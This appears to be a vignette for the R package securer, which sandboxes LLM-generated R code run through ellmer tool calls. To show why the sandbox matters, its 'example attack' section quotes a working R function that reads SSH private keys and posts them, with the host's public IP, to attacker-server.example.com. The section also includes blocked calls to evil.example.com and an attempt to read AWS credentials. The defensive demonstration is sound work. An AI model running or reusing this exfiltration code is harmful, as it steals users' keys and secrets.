What this is for
ellmer is an R package
for chatting with LLMs, and it lets the model call tools.
as_ellmer_tool() turns a SecureSession into
one of those tools. Register it on a chat, and the model can write R
code, have securer run it in the sandbox, and read the result.
Quick start
library(securer)
library(ellmer)
chat <- chat_openai()
chat$register_tool(as_ellmer_tool())
chat$chat("What is the sum of the first 100 prime numbers?")The model sees a tool called execute_r_code that takes
one argument, code. When the model calls it, securer runs
the code in the sandbox and sends back the result. The code can compute
whatever it likes, but it can’t write to your files or send anything
over the network.
Why bother: an example attack
Without a sandbox, code the model writes runs with all of your
permissions. The showittome package
shows what that can mean. It looks in ~/.ssh for private
keys and posts them to a server the attacker controls.
# From https://github.com/ian-flores/showittome/blob/master/R_pkg/R/grabber.R
# DO NOT RUN: this is the attack
grabber <- function() {
ssh_files <- list.files(path = "~/.ssh")
for (file in ssh_files) {
if (grepl("*.pem", file)) {
file_name <- paste("~/.ssh", file, sep = "/")
con <- file(file_name)
httr::POST(
url = "http://attacker-server.example.com/collect",
body = list(
fileName = file_name,
key = readLines(con),
address = system("curl -s ifconfig.me", intern = TRUE)
),
encode = "json"
)
close(con)
}
}
}In a securer session, each step fails:
session <- SecureSession$new(sandbox = TRUE)
session$execute('list.files("~/.ssh")')
#> character(0)
session$execute('readLines("~/.ssh/key.pem")')
#> Error: cannot open the connection
session$execute('system("curl -s ifconfig.me", intern = TRUE)')
#> Error: process-exec denied
session$execute('httr::POST("http://evil.example.com", body = "stolen")')
#> Error: Failed to connect
session$execute('Sys.getenv("AWS_SECRET_ACCESS_KEY")')
#> [1] ""
session$close()| Attack step | Without securer | With securer |
|---|---|---|
list.files("~/.ssh") |
Returns key filenames | Empty (read denied) |
readLines("~/.ssh/key.pem") |
Returns private key | Error (read denied) |
system("curl ...") |
Returns public IP | process-exec denied |
httr::POST(...) |
Data exfiltrated | Network denied |
Sys.getenv("AWS_SECRET_ACCESS_KEY") |
Key value returned | Empty (env sanitized) |
Each step is stopped by a different restriction, so one gap doesn’t
undo the rest. vignette("security-model") has the
details.
How it works
as_ellmer_tool() starts a SecureSession, or
uses one you pass in, and returns an ellmer ToolDef with a
single code argument. When the model calls it, securer runs
the code in the session and returns the result as a string. If something
goes wrong, the error goes back to the model as
ContentToolResult(error = ...), so the chat keeps
going.
There’s a diagram of the whole round trip in
vignette("deployment").
Adding securer tools
You can also give the model’s code your own functions, as securer tools:
tools <- list(
securer_tool("query_db", "Query a database table by name",
fn = function(table, limit) {
con <- DBI::dbConnect(RSQLite::SQLite(), "data.db")
on.exit(DBI::dbDisconnect(con))
# The LLM controls `table`, so check it against the real table
# names and never paste it into SQL as is.
allowed <- DBI::dbListTables(con)
if (!table %in% allowed) stop("Unknown table: ", table)
DBI::dbGetQuery(
con,
paste("SELECT * FROM", DBI::dbQuoteIdentifier(con, table), "LIMIT ?"),
params = list(as.integer(limit))
)
},
args = list(table = "character", limit = "numeric")),
securer_tool("list_tables", "List available database tables",
fn = function() {
con <- DBI::dbConnect(RSQLite::SQLite(), "data.db")
on.exit(DBI::dbDisconnect(con))
DBI::dbListTables(con)
},
args = list())
)
chat <- chat_openai()
chat$register_tool(as_ellmer_tool(tools = tools))
chat$chat("What tables are available? Show me the first 5 rows of each.")The model’s code runs in the sandbox, but query_db() and
list_tables() run in your session, with full access to the
database. So the model can reach your data, but only through the
functions you wrote.
Configuring the session
as_ellmer_tool() takes tools,
sandbox, and limits, which it passes to the
session it creates, and a timeout for each call:
tool_def <- as_ellmer_tool(
tools = tools,
sandbox = TRUE,
limits = list(cpu = 30, memory = 512 * 1024 * 1024),
timeout = 15
)vignette("deployment") explains the sandbox and the
resource limits.
Using a pre-existing session
For other session options, or to control when the session starts and stops, create the session yourself and pass it in:
session <- SecureSession$new(
tools = tools,
sandbox = TRUE,
verbose = TRUE # Log tool calls and execution timing
)
chat <- chat_openai()
chat$register_tool(as_ellmer_tool(session = session))
chat$chat("Analyze the sales table and compute monthly totals.")
chat$chat("Now plot the trend.") # Same session, state persists
# It's your session, so close it when you're done
session$close()When you pass a session, as_ellmer_tool() ignores
tools, sandbox, and limits, and
never closes the session for you. That lets you turn on verbose output
or an audit log, and share one session between chats.
Result formatting
securer turns the result into text before the model sees it. A data frame is cut to its first 30 printed lines, with a note giving the total number of rows. Anything else is cut at 50 lines. Big results would otherwise fill up the model’s context.
Error handling
Syntax errors, runtime errors, timeouts, a dead session, and tool
arguments of the wrong type all go back to the model as
ContentToolResult(error = ...) instead of stopping your R
code. The model can then fix its code and try again, or explain what
went wrong. The error text has file paths and similar details removed
first.
Example: data analysis assistant
library(securer)
library(ellmer)
tools <- list(
securer_tool("load_csv", "Load a CSV file and return as data frame",
fn = function(path) {
if (!file.exists(path)) stop("File not found: ", path)
read.csv(path)
},
args = list(path = "character")),
securer_tool("save_plot", "Save the current plot to a PNG file",
fn = function(filename) {
dev.copy(png, filename, width = 800, height = 600)
dev.off()
paste("Plot saved to", filename)
},
args = list(filename = "character"))
)
chat <- chat_openai(
system_prompt = paste(
"You are a data analysis assistant.",
"Use the execute_r_code tool to load data, compute statistics, and create plots.",
"Available R tools: load_csv(path), save_plot(filename)."
)
)
chat$register_tool(as_ellmer_tool(
tools = tools,
timeout = 60,
limits = list(memory = 1024 * 1024 * 1024)
))
# Multi-turn: state persists across calls
chat$chat("Load sales.csv and show me a summary")
chat$chat("What's the correlation between price and quantity?")
chat$chat("Create a scatter plot of price vs quantity")Other providers
The tool works with any ellmer provider that supports tool calls:
chat <- chat_anthropic()
chat$register_tool(as_ellmer_tool())
chat <- chat_ollama(model = "llama3")
chat$register_tool(as_ellmer_tool())Many users at once
If you run code directly, a SecureSessionPool hands out
sessions for you. For ellmer chats, give each request its own tool and
session:
# Running code directly: the pool hands out and takes back sessions
pool <- SecureSessionPool$new(size = 4, tools = tools, sandbox = TRUE)
handle_user_code <- function(code) pool$execute(code, timeout = 30)
# ellmer chats: one session per request, closed when garbage collected
handle_user_chat <- function(user_message) {
chat <- chat_openai()
chat$register_tool(as_ellmer_tool(tools = tools, timeout = 30))
chat$chat(user_message)
}